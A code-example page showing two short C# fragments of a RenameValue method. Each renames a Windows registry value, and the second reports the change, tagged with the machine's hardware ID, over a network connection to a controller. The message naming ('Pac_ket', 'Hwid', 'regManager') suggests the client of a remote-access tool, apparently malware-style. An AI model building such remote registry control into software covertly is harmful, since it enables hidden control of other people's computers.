Ejemplo n.º 1
0
        public void RenameValue(string OldValueName, string NewValueName, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Ejemplo n.º 2
0
        public void RenameValue(string OldValueName, string NewValueName, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString      = "regManager";
                msgpack.ForcePathObject("Hwid").AsString         = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString      = "RenameValue";
                msgpack.ForcePathObject("KeyPath").AsString      = KeyPath;
                msgpack.ForcePathObject("OldValueName").AsString = OldValueName;
                msgpack.ForcePathObject("NewValueName").AsString = NewValueName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }